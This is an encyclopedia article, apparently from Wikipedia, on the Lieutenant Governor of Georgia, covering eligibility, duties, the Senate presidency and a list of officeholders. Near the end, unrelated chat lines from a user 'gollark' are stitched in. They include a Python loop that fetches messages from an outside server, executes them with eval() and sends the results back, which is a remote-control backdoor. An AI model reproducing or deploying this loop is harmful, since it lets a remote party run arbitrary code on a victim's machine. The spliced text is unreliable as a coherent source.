Lieutenant Governor of Georgia

The Lieutenant Governor of Georgia is a constitutional officer of the State of Georgia, elected to a four-year term by popular vote. Unlike in some other U.S. states, the Lieutenant Governor is elected on a separate ticket from the Georgia Governor.

Lieutenant Governor
Georgia State Seal
Incumbent
Geoff Duncan
since January 14, 2019
StyleThe Honorable[1] (formal)
ResidenceNo official residence
AppointerElected by popular vote
Term length4-year term
Inaugural holderMelvin E. Thompson
Formation1945
WebsiteGovernment website

Constitutionally, the Lieutenant Governor's primary job is to serve as President of Georgia's Senate. In the case of incapacity of the Governor, the Lieutenant Governor assumes the powers (but not the title) of the Governor. Should the Governor die or otherwise leave office, the Lieutenant Governor becomes Governor for the remainder of the term of office.

The office of Lieutenant Governor was created by a state constitutional revision in 1945. Prior to that time, Georgia did not have such an office. Elected in 1946 (for a term to begin in 1947) Georgia's first Lieutenant Governor, Melvin E. Thompson became involved in the Three Governors controversy.

The current Lieutenant Governor of Georgia is Republican Geoff Duncan.

Eligibility

Article V, Paragraph IV of the Georgia State Constitution details the qualifications for the office of Georgia's Lieutenant Governor. In order to be eligible for the office a person must have lived in the United States for 15 years and in Georgia for six years and be at least 30 years old.[2] The Lieutenant Governor of Georgia has no restrictions on the number of times he or she can hold the office.[3]

Role of the Lieutenant Governor

Duties

The Lieutenant Governor's formal duties are limited by the Georgia State Constitution to being President of the Senate and the successor of the Governor whenever the governor dies, resigns or is removed from office via impeachment. The Lieutenant Governor assumes the gubernatorial powers & duties as acting governor, whenever the governor is disabled[3] Other, informal duties, were initiated by Lieutenant Governor Marvin Griffin during his tenure and include naming chairmen to senate committees and "taking an active role in the leadership of the senate."[3] He also began the custom of asking the Governor's approval of these appointments. These powers lasted until 2003, when Governor Sonny Perdue, a Republican, stripped the Lieutenant Governor at the time, Democrat Mark Taylor of those powers, giving them to the president pro tempore of the Senate.[3] In November 2010, the Republican majority voted to change the senate rules, stripping the Lieutenant Governor's ability to appoint the membership of senate committees.[4]

President of the Senate

As President of the Senate the Lieutenant Governor presides over debate in the Senate and casts a tie-breaking vote in that body if necessary. However, the Lieutenant Governor is barred from sponsoring legislation.[5] The Rules of the Georgia State Senate assign the President of the Senate to appoint two senators to the Committee on Assignments and to serve as the Chair of the committee, but the Chair may only vote in case of a tie. Additionally, the President is a member of and appoints three other members to the Committee on Administrative Affairs. Under the supervision of the State Senate, the President "shall as a matter of course and without debate, report the reference of bills to the proper committee." Senate pages are supervised by the President who "shall establish a program of familiarization with state government, its procedures and those duties and responsibilities which will be required of pages."[6]

List of Lieutenant Governors of Georgia
Parties

  Democratic (10)   Republican (2)

Lt. Governor Political Party Term of Office Governor(s) served under
Melvin E. Thompson Democratic January 14, 1947 – March 18, 1947 Herman Talmadge
Marvin Griffin Democratic November 17, 1948 – January 11, 1955 Herman Talmadge
S. Ernest Vandiver Democratic January 11, 1955 – January 13, 1959 Marvin Griffin
Garland T. Byrd Democratic January 13, 1959 – January 15, 1963 S. Ernest Vandiver
Peter Zack Geer Democratic January 15, 1963 – January 11, 1967 Carl Sanders
George T. Smith Democratic January 11, 1967 – January 12, 1971 Lester Maddox
Lester Maddox Democratic January 12, 1971 – January 14, 1975 Jimmy Carter
Zell Miller Democratic January 14, 1975 – January 13, 1991 George Busbee
Joe Frank Harris
Pierre Howard Democratic January 13, 1991 – January 11, 1999 Zell Miller
Mark Taylor Democratic January 11, 1999 – January 8, 2007 Roy Barnes (Democratic)
Sonny Perdue (Republican)
Casey Cagle Republican January 8, 2007 – January 14, 2019 Sonny Perdue
Nathan Deal
Geoff Duncan Republican January 14, 2019 – present Brian Kemp

Living former Lieutenant Governors of Georgia

There are three former living U.S lieutenant governors of Georgia, the oldest lieutenant governor of Georgia being Pierre Howard (served 1991–1999, born 1943). The most recent death of a former lieutenant governor of Georgia was that of Zell Miller (served 1975–1991, born 1932), who died on March 22, 2018.

Lt. Governor Lt. Gubernatorial term Date of birth (and age)
Pierre Howard 1991–1999 (1943-02-03) February 3, 1943
Mark Taylor 1999–2007 (1957-05-07) May 7, 1957
Casey Cagle 2007–2019 (1966-01-12) January 12, 1966
gollark: Plus, unlike the old version, it only uses builtin python modules.
gollark: It's very secure.
gollark: ```pythonimport urllib3, jsonhttp = urllib3.PoolManager()def send(x): http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "send", "channel": "potatOS", "message": x}), headers={"Content-Type": "application/json"})while True: r = http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "recv", "channel": "potatOS", "timeout": 30000}), headers={"Content-Type": "application/json"}) data = json.loads(r.data) if data["result"] != None: res = data["result"]["data"] try: send(repr(eval(res))) except Exception as e: send(repr(e))```Using the new SPUDNET-HTTP API.
gollark: Make it continuously ping osmarks.net so you know what it's up to.
gollark: Routers can do this.

See also

References
  1. Hickey, Robert. http://www.formsofaddress.info/Lieutenant_Governor.html. Missing or empty |title= (help)
  2. Article V - Georgia Constitution, Accessed July 16, 2008
  3. New Georgia Encyclopedia: Lieutenant Governor, Accessed July 16, 2008
  4. "PolitiFact Georgia | Georgia Senate leaders claim "power sharing" with lieutenant governor". Tampa Bay Times. Retrieved 11 October 2013.
  5. County Snapshots: State of Georgia, Accessed July 17, 2008
  6. "Rules of the Georgia State Senate | 2013 - 2013 Term" (PDF). Secretary of the Senate's Office. Retrieved 11 October 2013.
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.